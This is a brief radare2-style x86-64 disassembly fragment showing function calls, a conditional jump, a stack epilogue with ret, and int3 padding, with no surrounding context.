call fcn.140030838
nop
cmp dword [rbp + 0x20], 0
je 0x1400309f9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140030a04
int3
xor r8d, r8d
xor edx, edx
jmp 0x14003093c